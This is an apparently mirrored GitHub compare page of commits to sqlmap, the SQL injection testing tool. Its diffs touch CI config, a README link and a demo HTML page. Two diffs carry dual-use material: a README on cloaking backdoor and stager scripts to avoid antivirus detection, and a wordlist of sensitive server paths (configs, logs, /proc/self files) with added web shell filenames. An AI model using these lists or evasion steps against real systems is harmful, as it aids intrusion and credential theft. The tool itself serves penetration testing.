mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2025-12-06 12:41:30 +00:00
Compare commits
189 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
66e07dfab6 | ||
|
|
226d467f6d | ||
|
|
ea5ae44b6c | ||
|
|
95b9a47c6f | ||
|
|
e05f65628d | ||
|
|
609545176f | ||
|
|
8de4820b24 | ||
|
|
df5fabbbbb | ||
|
|
0c48d0dbec | ||
|
|
5108c2d06c | ||
|
|
603d602550 | ||
|
|
907786edb8 | ||
|
|
85b73f872e | ||
|
|
a42ec7d9cb | ||
|
|
b3f4c6d0fc | ||
|
|
cec65f3a27 | ||
|
|
cc79ae69aa | ||
|
|
5a9dc15cf2 | ||
|
|
f1fd080ba5 | ||
|
|
cfe9fb4f5b | ||
|
|
7a55c9c145 | ||
|
|
4077a359f4 | ||
|
|
435fd49f1d | ||
|
|
bcfd9c3f48 | ||
|
|
39c320c29b | ||
|
|
b719b9612f | ||
|
|
84bc2640d1 | ||
|
|
fced29a242 | ||
|
|
2e5e958d3f | ||
|
|
1e30471d3d | ||
|
|
10b93d753d | ||
|
|
1280abc25c | ||
|
|
c47061f25d | ||
|
|
9b871f1093 | ||
|
|
0ba07e93d5 | ||
|
|
ce50acf69d | ||
|
|
9f0ff27c26 | ||
|
|
ecafac5cd2 | ||
|
|
f39869992c | ||
|
|
e910fc6b8b | ||
|
|
6375f9e506 | ||
|
|
8e649dc3f7 | ||
|
|
a6ce91a3e2 | ||
|
|
408862b040 | ||
|
|
fc4dec7291 | ||
|
|
274a6e62da | ||
|
|
aa7c548376 | ||
|
|
6b7a1dfd94 | ||
|
|
67f918f6ad | ||
|
|
a65e1faf99 | ||
|
|
ff48e1d820 | ||
|
|
0094f02fb0 | ||
|
|
459130196a | ||
|
|
0a8a65bc0b | ||
|
|
5d370f2fa1 | ||
|
|
1296336e18 | ||
|
|
75b3736467 | ||
|
|
282eb7e533 | ||
|
|
f28d82c119 | ||
|
|
74603c5530 | ||
|
|
050700f079 | ||
|
|
31bf1fc6b6 | ||
|
|
d4d83b29f0 | ||
|
|
596fff48ad | ||
|
|
56ff081314 | ||
|
|
69421b4806 | ||
|
|
3910b86853 | ||
|
|
bbdedb39f9 | ||
|
|
d0be782ece | ||
|
|
16c8673e98 | ||
|
|
1dedc36d85 | ||
|
|
c1d46c95ed | ||
|
|
d5fc2c9350 | ||
|
|
c28ad8fcd8 | ||
|
|
2d06543cac | ||
|
|
6a1e0fb497 | ||
|
|
5c650e15a9 | ||
|
|
c97a814d26 | ||
|
|
a58d08c7e4 | ||
|
|
9c503873ad | ||
|
|
03dfd6b4d5 | ||
|
|
d5a2ffc8ce | ||
|
|
ddf8b1b198 | ||
|
|
9a36357c52 | ||
|
|
667e4d00f2 | ||
|
|
788dcbf077 | ||
|
|
a851dc486a | ||
|
|
9077734ec5 | ||
|
|
7b49c46906 | ||
|
|
317bc0f69c | ||
|
|
c7bdf27542 | ||
|
|
b334b6b742 | ||
|
|
aa812effe7 | ||
|
|
99e2a26a8d | ||
|
|
01edcbf71d | ||
|
|
0b93311ef2 | ||
|
|
4f3f43d8bb | ||
|
|
4582948aac | ||
|
|
3729b76c14 | ||
|
|
a8c3d17583 | ||
|
|
3c36b186ad | ||
|
|
075fa1d4be | ||
|
|
5be407edad | ||
|
|
7ab82de80f | ||
|
|
93399ab1b3 | ||
|
|
87bccf4aa7 | ||
|
|
1c179674d8 | ||
|
|
7a6433b9ef | ||
|
|
4e7f0b10d5 | ||
|
|
0351b4a939 | ||
|
|
3c93872d53 | ||
|
|
881d767df8 | ||
|
|
1156b53eee | ||
|
|
5cacf20eb5 | ||
|
|
1825390951 | ||
|
|
7815f88027 | ||
|
|
f63a92a272 | ||
|
|
e3b3dea46c | ||
|
|
55595edce2 | ||
|
|
aaa0c5c6a8 | ||
|
|
57bb710ae6 | ||
|
|
ce9285381d | ||
|
|
dad4879200 | ||
|
|
2cba4e2d78 | ||
|
|
8ec165d688 | ||
|
|
492fbae7c5 | ||
|
|
a8d81a7962 | ||
|
|
fcb2a6e111 | ||
|
|
2e7333d7c8 | ||
|
|
5fd2598da0 | ||
|
|
111201978c | ||
|
|
41bdb93655 | ||
|
|
6cd0b1120f | ||
|
|
97ccf4ca66 | ||
|
|
8cc516dc5f | ||
|
|
8e39c6fc3d | ||
|
|
d9e540e8b2 | ||
|
|
e0ad99d534 | ||
|
|
5f5ee6ca68 | ||
|
|
7a5538ab3e | ||
|
|
125de093df | ||
|
|
dc6e7321e9 | ||
|
|
1023da405a | ||
|
|
013af3235e | ||
|
|
2a1e812288 | ||
|
|
44b7cc7d17 | ||
|
|
60a2d74f2b | ||
|
|
83fecfc1ba | ||
|
|
86c6e3d5fc | ||
|
|
5eb2263c42 | ||
|
|
7ff77ef052 | ||
|
|
5c82f30fd8 | ||
|
|
3f17dc4747 | ||
|
|
e1502e0cea | ||
|
|
c3fe9a0d47 | ||
|
|
f8b2cb5a0a | ||
|
|
597013477d | ||
|
|
0453a2827c | ||
|
|
0605f14d87 | ||
|
|
176e89d978 | ||
|
|
b7cdcebcea | ||
|
|
1fb1a05a78 | ||
|
|
2d48b8effa | ||
|
|
4ef9557ccd | ||
|
|
3513ca66fe | ||
|
|
6467c63c24 | ||
|
|
f19f38d1d5 | ||
|
|
a0b279848d | ||
|
|
ec80009812 | ||
|
|
19e08416b5 | ||
|
|
6825bf85a4 | ||
|
|
4fa39f4539 | ||
|
|
a989e1abfe | ||
|
|
c71bdf5c9e | ||
|
|
1b92acc033 | ||
|
|
f968b23f63 | ||
|
|
5f39016af7 | ||
|
|
1dd400f93d | ||
|
|
feb1df6a05 | ||
|
|
4772a9243a | ||
|
|
8649021b78 | ||
|
|
9d6c931faa | ||
|
|
264a270985 | ||
|
|
4278bbce11 | ||
|
|
db126af86a | ||
|
|
18b72e605a | ||
|
|
0e4232f533 | ||
|
|
e448905eb1 | ||
|
|
ee7aa68da8 |
@@ -9,9 +9,8 @@ jobs:
|
||||
dist: trusty
|
||||
- python: 3.6
|
||||
dist: trusty
|
||||
- python: 3.8
|
||||
dist: xenial
|
||||
sudo: false
|
||||
- python: 3.9-dev
|
||||
dist: bionic
|
||||
git:
|
||||
depth: 1
|
||||
script:
|
||||
|
||||
@@ -64,7 +64,7 @@ Translations
|
||||
* [Italian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-it-IT.md)
|
||||
* [Japanese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ja-JP.md)
|
||||
* [Korean](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ko-KR.md)
|
||||
* [Persian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-fa-FA.md)
|
||||
* [Persian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-fa-IR.md)
|
||||
* [Polish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pl-PL.md)
|
||||
* [Portuguese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pt-BR.md)
|
||||
* [Russian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ru-RUS.md)
|
||||
|
||||
@@ -1,150 +1,151 @@
|
||||
<!DOCTYPE html>
|
||||
<!DOCTYPE html>
|
||||
|
||||
<!-- http://angrytools.com/bootstrap/editor/ -->
|
||||
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="utf-8">
|
||||
<meta http-equiv="X-UA-Compatible" content="IE=edge">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1">
|
||||
<link href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.0/css/bootstrap.min.css" rel="stylesheet">
|
||||
<link href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.0/css/bootstrap-theme.min.css" rel="stylesheet">
|
||||
|
||||
<!--[if lt IE 9]><script src="https://oss.maxcdn.com/html5shiv/3.7.2/html5shiv.min.js"></script><script src="https://oss.maxcdn.com/respond/1.4.2/respond.min.js"></script><![endif]-->
|
||||
</head>
|
||||
<body>
|
||||
<style>
|
||||
#wrapper { width: 100%; }
|
||||
|
||||
#page-wrapper {
|
||||
padding: 0 15px;
|
||||
min-height: 568px;
|
||||
background-color: #fff;
|
||||
}
|
||||
|
||||
@media(min-width:768px) {
|
||||
#page-wrapper {
|
||||
position: inherit;
|
||||
margin: 0 0 0 250px;
|
||||
padding: 0 30px;
|
||||
border-left: 1px solid #e7e7e7;
|
||||
}
|
||||
}
|
||||
|
||||
.sidebar .sidebar-nav.navbar-collapse { padding-right: 0; padding-left: 0; }
|
||||
.sidebar .sidebar-search { padding: 15px; }
|
||||
.sidebar ul li { border-bottom: 1px solid #e7e7e7; }
|
||||
|
||||
.sidebar ul li a.active { background-color: #eee; }
|
||||
|
||||
.sidebar .arrow { float: right;}
|
||||
.sidebar .fa.arrow:before { content: "f104";}
|
||||
.sidebar .active>a>.fa.arrow:before { content: "f107"; }
|
||||
.sidebar .nav-second-level li,
|
||||
.sidebar .nav-third-level li {
|
||||
border-bottom: 0!important;
|
||||
}
|
||||
|
||||
.sidebar .nav-second-level li a { padding-left: 37px; }
|
||||
.sidebar .nav-third-level li a { padding-left: 52px; }
|
||||
|
||||
@media(min-width:768px) {
|
||||
.sidebar {
|
||||
z-index: 1;
|
||||
position: absolute;
|
||||
width: 250px;
|
||||
margin-top: 51px;
|
||||
}
|
||||
}
|
||||
</style>
|
||||
<div id="wrapper">
|
||||
|
||||
<nav class="navbar navbar-default navbar-static-top" role="navigation" style="margin-bottom: 0">
|
||||
<div class="navbar-header">
|
||||
<button type="button" class="navbar-toggle" data-toggle="collapse" data-target=".navbar-collapse">
|
||||
<span class="sr-only">Toggle navigation</span>
|
||||
<span class="icon-bar"></span>
|
||||
<span class="icon-bar"></span>
|
||||
<span class="icon-bar"></span>
|
||||
</button>
|
||||
<a class="navbar-brand" href="index.html">sqlmap</a>
|
||||
</div>
|
||||
|
||||
<div class="navbar-default sidebar" role="navigation">
|
||||
<div class="sidebar-nav navbar-collapse">
|
||||
<ul class="nav" id="side-menu">
|
||||
<li>
|
||||
<a href="#"><i class="glyphicon glyphicon-home"></i> Options<span class="arrow"></span></a>
|
||||
<ul class="nav nav-second-level">
|
||||
<li><a>Target</a></li>
|
||||
<li><a>Request</a></li>
|
||||
<li><a>Optimization</a></li>
|
||||
<li><a>Injection</a></li>
|
||||
<li><a>Detection</a></li>
|
||||
<li><a>Techniques</a></li>
|
||||
<li><a>Fingerprint</a></li>
|
||||
<li><a>Enumeration</a></li>
|
||||
<li><a>Brute force</a></li>
|
||||
<li><a>User-defined function injection</a></li>
|
||||
<li><a>File system access</a></li>
|
||||
<li><a>Operating system access</a></li>
|
||||
<li><a>Windows registry access</a></li>
|
||||
<li><a>General</a></li>
|
||||
<li><a>Miscellaneous</a></li>
|
||||
</ul>
|
||||
</li>
|
||||
</ul>
|
||||
</div>
|
||||
</div>
|
||||
</nav>
|
||||
|
||||
<div id="page-wrapper">
|
||||
<div class="row">
|
||||
<h4>DEMO</h4>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<script>
|
||||
/*
|
||||
* metismenu - v1.0.3
|
||||
* Easy menu jQuery plugin for Twitter Bootstrap 3
|
||||
* https://github.com/onokumus/metisMenu
|
||||
*
|
||||
* Made by Osman Nuri Okumuş
|
||||
* Under MIT License
|
||||
*/
|
||||
!function(a,b,c){function d(b,c){this.element=b,this.settings=a.extend({},f,c),this._defaults=f,this._name=e,this.init()}var e="metisMenu",f={toggle:!0};d.prototype={init:function(){var b=a(this.element),c=this.settings.toggle;this.isIE()<=9?(b.find("li.active").has("ul").children("ul").collapse("show"),b.find("li").not(".active").has("ul").children("ul").collapse("hide")):(b.find("li.active").has("ul").children("ul").addClass("collapse in"),b.find("li").not(".active").has("ul").children("ul").addClass("collapse")),b.find("li").has("ul").children("a").on("click",function(b){b.preventDefault(),a(this).parent("li").toggleClass("active").children("ul").collapse("toggle"),c&&a(this).parent("li").siblings().removeClass("active").children("ul.in").collapse("hide")})},isIE:function(){for(var a,b=3,d=c.createElement("div"),e=d.getElementsByTagName("i");d.innerHTML="<!--[if gt IE "+ ++b+"]><i></i><![endif]-->",e[0];)return b>4?b:a}},a.fn[e]=function(b){return this.each(function(){a.data(this,"plugin_"+e)||a.data(this,"plugin_"+e,new d(this,b))})}}(jQuery,window,document);
|
||||
|
||||
$(function() {
|
||||
|
||||
$('#side-menu').metisMenu();
|
||||
|
||||
});
|
||||
|
||||
//Loads the correct sidebar on window load,
|
||||
//collapses the sidebar on window resize.
|
||||
// Sets the min-height of #page-wrapper to window size
|
||||
$(function() {
|
||||
$(window).bind("load resize", function() {
|
||||
topOffset = 50;
|
||||
width = (this.window.innerWidth > 0) ? this.window.innerWidth : this.screen.width;
|
||||
if (width < 768) {
|
||||
$('div.navbar-collapse').addClass('collapse')
|
||||
topOffset = 100; // 2-row-menu
|
||||
} else {
|
||||
$('div.navbar-collapse').removeClass('collapse')
|
||||
}
|
||||
|
||||
height = (this.window.innerHeight > 0) ? this.window.innerHeight : this.screen.height;
|
||||
height = height - topOffset;
|
||||
if (height < 1) height = 1;
|
||||
if (height > topOffset) {
|
||||
$("#page-wrapper").css("min-height", (height) + "px");
|
||||
}
|
||||
})
|
||||
});
|
||||
</script>
|
||||
<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.1/jquery.min.js"></script>
|
||||
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.0/js/bootstrap.min.js"></script>
|
||||
</body>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<title>DEMO</title>
|
||||
<meta charset="utf-8">
|
||||
<meta http-equiv="X-UA-Compatible" content="IE=edge">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1">
|
||||
<link href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.0/css/bootstrap.min.css" rel="stylesheet">
|
||||
<link href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.0/css/bootstrap-theme.min.css" rel="stylesheet">
|
||||
|
||||
<!--[if lt IE 9]><script src="https://oss.maxcdn.com/html5shiv/3.7.2/html5shiv.min.js"></script><script src="https://oss.maxcdn.com/respond/1.4.2/respond.min.js"></script><![endif]-->
|
||||
</head>
|
||||
<body>
|
||||
<style>
|
||||
#wrapper { width: 100%; }
|
||||
|
||||
#page-wrapper {
|
||||
padding: 0 15px;
|
||||
min-height: 568px;
|
||||
background-color: #fff;
|
||||
}
|
||||
|
||||
@media(min-width:768px) {
|
||||
#page-wrapper {
|
||||
position: inherit;
|
||||
margin: 0 0 0 250px;
|
||||
padding: 0 30px;
|
||||
border-left: 1px solid #e7e7e7;
|
||||
}
|
||||
}
|
||||
|
||||
.sidebar .sidebar-nav.navbar-collapse { padding-right: 0; padding-left: 0; }
|
||||
.sidebar .sidebar-search { padding: 15px; }
|
||||
.sidebar ul li { border-bottom: 1px solid #e7e7e7; }
|
||||
|
||||
.sidebar ul li a.active { background-color: #eee; }
|
||||
|
||||
.sidebar .arrow { float: right;}
|
||||
.sidebar .fa.arrow:before { content: "f104";}
|
||||
.sidebar .active>a>.fa.arrow:before { content: "f107"; }
|
||||
.sidebar .nav-second-level li,
|
||||
.sidebar .nav-third-level li {
|
||||
border-bottom: 0!important;
|
||||
}
|
||||
|
||||
.sidebar .nav-second-level li a { padding-left: 37px; }
|
||||
.sidebar .nav-third-level li a { padding-left: 52px; }
|
||||
|
||||
@media(min-width:768px) {
|
||||
.sidebar {
|
||||
z-index: 1;
|
||||
position: absolute;
|
||||
width: 250px;
|
||||
margin-top: 51px;
|
||||
}
|
||||
}
|
||||
</style>
|
||||
<div id="wrapper">
|
||||
|
||||
<nav class="navbar navbar-default navbar-static-top" role="navigation" style="margin-bottom: 0">
|
||||
<div class="navbar-header">
|
||||
<button type="button" class="navbar-toggle" data-toggle="collapse" data-target=".navbar-collapse">
|
||||
<span class="sr-only">Toggle navigation</span>
|
||||
<span class="icon-bar"></span>
|
||||
<span class="icon-bar"></span>
|
||||
<span class="icon-bar"></span>
|
||||
</button>
|
||||
<a class="navbar-brand" href="index.html">sqlmap</a>
|
||||
</div>
|
||||
|
||||
<div class="navbar-default sidebar" role="navigation">
|
||||
<div class="sidebar-nav navbar-collapse">
|
||||
<ul class="nav" id="side-menu">
|
||||
<li>
|
||||
<a href="#"><em class="glyphicon glyphicon-home"></em> Options<span class="arrow"></span></a>
|
||||
<ul class="nav nav-second-level">
|
||||
<li><a>Target</a></li>
|
||||
<li><a>Request</a></li>
|
||||
<li><a>Optimization</a></li>
|
||||
<li><a>Injection</a></li>
|
||||
<li><a>Detection</a></li>
|
||||
<li><a>Techniques</a></li>
|
||||
<li><a>Fingerprint</a></li>
|
||||
<li><a>Enumeration</a></li>
|
||||
<li><a>Brute force</a></li>
|
||||
<li><a>User-defined function injection</a></li>
|
||||
<li><a>File system access</a></li>
|
||||
<li><a>Operating system access</a></li>
|
||||
<li><a>Windows registry access</a></li>
|
||||
<li><a>General</a></li>
|
||||
<li><a>Miscellaneous</a></li>
|
||||
</ul>
|
||||
</li>
|
||||
</ul>
|
||||
</div>
|
||||
</div>
|
||||
</nav>
|
||||
|
||||
<div id="page-wrapper">
|
||||
<div class="row">
|
||||
<h4>DEMO</h4>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<script>
|
||||
/*
|
||||
* metismenu - v1.0.3
|
||||
* Easy menu jQuery plugin for Twitter Bootstrap 3
|
||||
* https://github.com/onokumus/metisMenu
|
||||
*
|
||||
* Made by Osman Nuri Okumuş
|
||||
* Under MIT License
|
||||
*/
|
||||
!function(a,b,c){function d(b,c){this.element=b,this.settings=a.extend({},f,c),this._defaults=f,this._name=e,this.init()}var e="metisMenu",f={toggle:!0};d.prototype={init:function(){var b=a(this.element),c=this.settings.toggle;this.isIE()<=9?(b.find("li.active").has("ul").children("ul").collapse("show"),b.find("li").not(".active").has("ul").children("ul").collapse("hide")):(b.find("li.active").has("ul").children("ul").addClass("collapse in"),b.find("li").not(".active").has("ul").children("ul").addClass("collapse")),b.find("li").has("ul").children("a").on("click",function(b){b.preventDefault(),a(this).parent("li").toggleClass("active").children("ul").collapse("toggle"),c&&a(this).parent("li").siblings().removeClass("active").children("ul.in").collapse("hide")})},isIE:function(){for(var a,b=3,d=c.createElement("div"),e=d.getElementsByTagName("i");d.innerHTML="<!--[if gt IE "+ ++b+"]><i></i><![endif]-->",e[0];)return b>4?b:a}},a.fn[e]=function(b){return this.each(function(){a.data(this,"plugin_"+e)||a.data(this,"plugin_"+e,new d(this,b))})}}(jQuery,window,document);
|
||||
|
||||
$(function() {
|
||||
|
||||
$('#side-menu').metisMenu();
|
||||
|
||||
});
|
||||
|
||||
//Loads the correct sidebar on window load,
|
||||
//collapses the sidebar on window resize.
|
||||
// Sets the min-height of #page-wrapper to window size
|
||||
$(function() {
|
||||
$(window).bind("load resize", function() {
|
||||
topOffset = 50;
|
||||
width = (this.window.innerWidth > 0) ? this.window.innerWidth : this.screen.width;
|
||||
if (width < 768) {
|
||||
$('div.navbar-collapse').addClass('collapse')
|
||||
topOffset = 100; // 2-row-menu
|
||||
} else {
|
||||
$('div.navbar-collapse').removeClass('collapse')
|
||||
}
|
||||
|
||||
height = (this.window.innerHeight > 0) ? this.window.innerHeight : this.screen.height;
|
||||
height = height - topOffset;
|
||||
if (height < 1) height = 1;
|
||||
if (height > topOffset) {
|
||||
$("#page-wrapper").css("min-height", (height) + "px");
|
||||
}
|
||||
})
|
||||
});
|
||||
</script>
|
||||
<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.1/jquery.min.js"></script>
|
||||
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.0/js/bootstrap.min.js"></script>
|
||||
</body>
|
||||
</html>
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
Due to the anti-virus positive detection of shell scripts stored inside this folder, we needed to somehow circumvent this. As from the plain sqlmap users perspective nothing has to be done prior to their usage by sqlmap, but if you want to have access to their original source code use the decrypt functionality of the ../extra/cloak/cloak.py utility.
|
||||
Due to the anti-virus positive detection of shell scripts stored inside this folder, we needed to somehow circumvent this. As from the plain sqlmap users perspective nothing has to be done prior to their usage by sqlmap, but if you want to have access to their original source code use the decrypt functionality of the ../../extra/cloak/cloak.py utility.
|
||||
|
||||
To prepare the original scripts to the cloaked form use this command:
|
||||
find backdoors/backdoor.* stagers/stager.* -type f -exec python ../extra/cloak/cloak.py -i '{}' \;
|
||||
find backdoors/backdoor.* stagers/stager.* -type f -exec python ../../extra/cloak/cloak.py -i '{}' \;
|
||||
|
||||
To get back them into the original form use this:
|
||||
find backdoors/backdoor.*_ stagers/stager.*_ -type f -exec python ../extra/cloak/cloak.py -d -i '{}' \;
|
||||
find backdoors/backdoor.*_ stagers/stager.*_ -type f -exec python ../../extra/cloak/cloak.py -d -i '{}' \;
|
||||
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -679,17 +679,6 @@
|
||||
|
||||
/.htaccess
|
||||
/.htpasswd
|
||||
/[jboss]/server/default/conf/jboss-minimal.xml
|
||||
/[jboss]/server/default/conf/jboss-service.xml
|
||||
/[jboss]/server/default/conf/jndi.properties
|
||||
/[jboss]/server/default/conf/log4j.xml
|
||||
/[jboss]/server/default/conf/login-config.xml
|
||||
/[jboss]/server/default/conf/server.log.properties
|
||||
/[jboss]/server/default/conf/standardjaws.xml
|
||||
/[jboss]/server/default/conf/standardjboss.xml
|
||||
/[jboss]/server/default/deploy/jboss-logging.xml
|
||||
/[jboss]/server/default/log/boot.log
|
||||
/[jboss]/server/default/log/server.log
|
||||
/access.log
|
||||
/access_log
|
||||
/apache/conf/httpd.conf
|
||||
@@ -1024,17 +1013,17 @@
|
||||
/mysql/my.cnf
|
||||
/mysql/my.ini
|
||||
/netserver/bin/stable/apache/php.ini
|
||||
/opt/[jboss]/server/default/conf/jboss-minimal.xml
|
||||
/opt/[jboss]/server/default/conf/jboss-service.xml
|
||||
/opt/[jboss]/server/default/conf/jndi.properties
|
||||
/opt/[jboss]/server/default/conf/log4j.xml
|
||||
/opt/[jboss]/server/default/conf/login-config.xml
|
||||
/opt/[jboss]/server/default/conf/server.log.properties
|
||||
/opt/[jboss]/server/default/conf/standardjaws.xml
|
||||
/opt/[jboss]/server/default/conf/standardjboss.xml
|
||||
/opt/[jboss]/server/default/deploy/jboss-logging.xml
|
||||
/opt/[jboss]/server/default/log/boot.log
|
||||
/opt/[jboss]/server/default/log/server.log
|
||||
/opt/jboss/server/default/conf/jboss-minimal.xml
|
||||
/opt/jboss/server/default/conf/jboss-service.xml
|
||||
/opt/jboss/server/default/conf/jndi.properties
|
||||
/opt/jboss/server/default/conf/log4j.xml
|
||||
/opt/jboss/server/default/conf/login-config.xml
|
||||
/opt/jboss/server/default/conf/server.log.properties
|
||||
/opt/jboss/server/default/conf/standardjaws.xml
|
||||
/opt/jboss/server/default/conf/standardjboss.xml
|
||||
/opt/jboss/server/default/deploy/jboss-logging.xml
|
||||
/opt/jboss/server/default/log/boot.log
|
||||
/opt/jboss/server/default/log/server.log
|
||||
/opt/apache/apache.conf
|
||||
/opt/apache/apache2.conf
|
||||
/opt/apache/conf/apache.conf
|
||||
@@ -1075,17 +1064,6 @@
|
||||
/private/etc/httpd/httpd.conf
|
||||
/private/etc/httpd/httpd.conf.default
|
||||
/private/etc/squirrelmail/config/config.php
|
||||
/private/tmp/[jboss]/server/default/conf/jboss-minimal.xml
|
||||
/private/tmp/[jboss]/server/default/conf/jboss-service.xml
|
||||
/private/tmp/[jboss]/server/default/conf/jndi.properties
|
||||
/private/tmp/[jboss]/server/default/conf/log4j.xml
|
||||
/private/tmp/[jboss]/server/default/conf/login-config.xml
|
||||
/private/tmp/[jboss]/server/default/conf/server.log.properties
|
||||
/private/tmp/[jboss]/server/default/conf/standardjaws.xml
|
||||
/private/tmp/[jboss]/server/default/conf/standardjboss.xml
|
||||
/private/tmp/[jboss]/server/default/deploy/jboss-logging.xml
|
||||
/private/tmp/[jboss]/server/default/log/boot.log
|
||||
/private/tmp/[jboss]/server/default/log/server.log
|
||||
/proc/cpuinfo
|
||||
/proc/devices
|
||||
/proc/meminfo
|
||||
@@ -1114,17 +1092,17 @@
|
||||
/proc/self/stat
|
||||
/proc/self/status
|
||||
/proc/version
|
||||
/program files/[jboss]/server/default/conf/jboss-minimal.xml
|
||||
/program files/[jboss]/server/default/conf/jboss-service.xml
|
||||
/program files/[jboss]/server/default/conf/jndi.properties
|
||||
/program files/[jboss]/server/default/conf/log4j.xml
|
||||
/program files/[jboss]/server/default/conf/login-config.xml
|
||||
/program files/[jboss]/server/default/conf/server.log.properties
|
||||
/program files/[jboss]/server/default/conf/standardjaws.xml
|
||||
/program files/[jboss]/server/default/conf/standardjboss.xml
|
||||
/program files/[jboss]/server/default/deploy/jboss-logging.xml
|
||||
/program files/[jboss]/server/default/log/boot.log
|
||||
/program files/[jboss]/server/default/log/server.log
|
||||
/program files/jboss/server/default/conf/jboss-minimal.xml
|
||||
/program files/jboss/server/default/conf/jboss-service.xml
|
||||
/program files/jboss/server/default/conf/jndi.properties
|
||||
/program files/jboss/server/default/conf/log4j.xml
|
||||
/program files/jboss/server/default/conf/login-config.xml
|
||||
/program files/jboss/server/default/conf/server.log.properties
|
||||
/program files/jboss/server/default/conf/standardjaws.xml
|
||||
/program files/jboss/server/default/conf/standardjboss.xml
|
||||
/program files/jboss/server/default/deploy/jboss-logging.xml
|
||||
/program files/jboss/server/default/log/boot.log
|
||||
/program files/jboss/server/default/log/server.log
|
||||
/program files/apache group/apache/apache.conf
|
||||
/program files/apache group/apache/apache2.conf
|
||||
/program files/apache group/apache/conf/apache.conf
|
||||
@@ -1177,17 +1155,17 @@
|
||||
/system/library/webobjects/adaptors/apache2.2/apache.conf
|
||||
/temp/sess_
|
||||
/thttpd_log
|
||||
/tmp/[jboss]/server/default/conf/jboss-minimal.xml
|
||||
/tmp/[jboss]/server/default/conf/jboss-service.xml
|
||||
/tmp/[jboss]/server/default/conf/jndi.properties
|
||||
/tmp/[jboss]/server/default/conf/log4j.xml
|
||||
/tmp/[jboss]/server/default/conf/login-config.xml
|
||||
/tmp/[jboss]/server/default/conf/server.log.properties
|
||||
/tmp/[jboss]/server/default/conf/standardjaws.xml
|
||||
/tmp/[jboss]/server/default/conf/standardjboss.xml
|
||||
/tmp/[jboss]/server/default/deploy/jboss-logging.xml
|
||||
/tmp/[jboss]/server/default/log/boot.log
|
||||
/tmp/[jboss]/server/default/log/server.log
|
||||
/tmp/jboss/server/default/conf/jboss-minimal.xml
|
||||
/tmp/jboss/server/default/conf/jboss-service.xml
|
||||
/tmp/jboss/server/default/conf/jndi.properties
|
||||
/tmp/jboss/server/default/conf/log4j.xml
|
||||
/tmp/jboss/server/default/conf/login-config.xml
|
||||
/tmp/jboss/server/default/conf/server.log.properties
|
||||
/tmp/jboss/server/default/conf/standardjaws.xml
|
||||
/tmp/jboss/server/default/conf/standardjboss.xml
|
||||
/tmp/jboss/server/default/deploy/jboss-logging.xml
|
||||
/tmp/jboss/server/default/log/boot.log
|
||||
/tmp/jboss/server/default/log/server.log
|
||||
/tmp/access.log
|
||||
/tmp/sess_
|
||||
/usr/apache/conf/httpd.conf
|
||||
@@ -1202,17 +1180,17 @@
|
||||
/usr/lib/php.ini
|
||||
/usr/lib/php/php.ini
|
||||
/usr/lib/security/mkuser.default
|
||||
/usr/local/[jboss]/server/default/conf/jboss-minimal.xml
|
||||
/usr/local/[jboss]/server/default/conf/jboss-service.xml
|
||||
/usr/local/[jboss]/server/default/conf/jndi.properties
|
||||
/usr/local/[jboss]/server/default/conf/log4j.xml
|
||||
/usr/local/[jboss]/server/default/conf/login-config.xml
|
||||
/usr/local/[jboss]/server/default/conf/server.log.properties
|
||||
/usr/local/[jboss]/server/default/conf/standardjaws.xml
|
||||
/usr/local/[jboss]/server/default/conf/standardjboss.xml
|
||||
/usr/local/[jboss]/server/default/deploy/jboss-logging.xml
|
||||
/usr/local/[jboss]/server/default/log/boot.log
|
||||
/usr/local/[jboss]/server/default/log/server.log
|
||||
/usr/local/jboss/server/default/conf/jboss-minimal.xml
|
||||
/usr/local/jboss/server/default/conf/jboss-service.xml
|
||||
/usr/local/jboss/server/default/conf/jndi.properties
|
||||
/usr/local/jboss/server/default/conf/log4j.xml
|
||||
/usr/local/jboss/server/default/conf/login-config.xml
|
||||
/usr/local/jboss/server/default/conf/server.log.properties
|
||||
/usr/local/jboss/server/default/conf/standardjaws.xml
|
||||
/usr/local/jboss/server/default/conf/standardjboss.xml
|
||||
/usr/local/jboss/server/default/deploy/jboss-logging.xml
|
||||
/usr/local/jboss/server/default/log/boot.log
|
||||
/usr/local/jboss/server/default/log/server.log
|
||||
/usr/local/apache/apache.conf
|
||||
/usr/local/apache/apache2.conf
|
||||
/usr/local/apache/conf/access.conf
|
||||
@@ -1801,4 +1779,21 @@
|
||||
/etc/httpd/conf.d/squirrelmail.conf
|
||||
/usr/share/squirrelmail/config/config.php
|
||||
/private/etc/squirrelmail/config/config.php
|
||||
/srv/www/htdos/squirrelmail/config/config.php
|
||||
/srv/www/htdos/squirrelmail/config/config.php
|
||||
|
||||
# Web shells
|
||||
|
||||
/var/www/html/backdoor.php
|
||||
/var/www/html/b374k.php
|
||||
/var/www/html/c99.php
|
||||
/var/www/html/cmd.php
|
||||
/var/www/html/r57.php
|
||||
/var/www/html/shell.php
|
||||
/var/www/html/wso.php
|
||||
|
||||
# Misc
|
||||
|
||||
/etc/lib/nfs/etab
|
||||
/app/app.js
|
||||
/app/configure.js
|
||||
/app/config/config.json
|
||||
|
||||
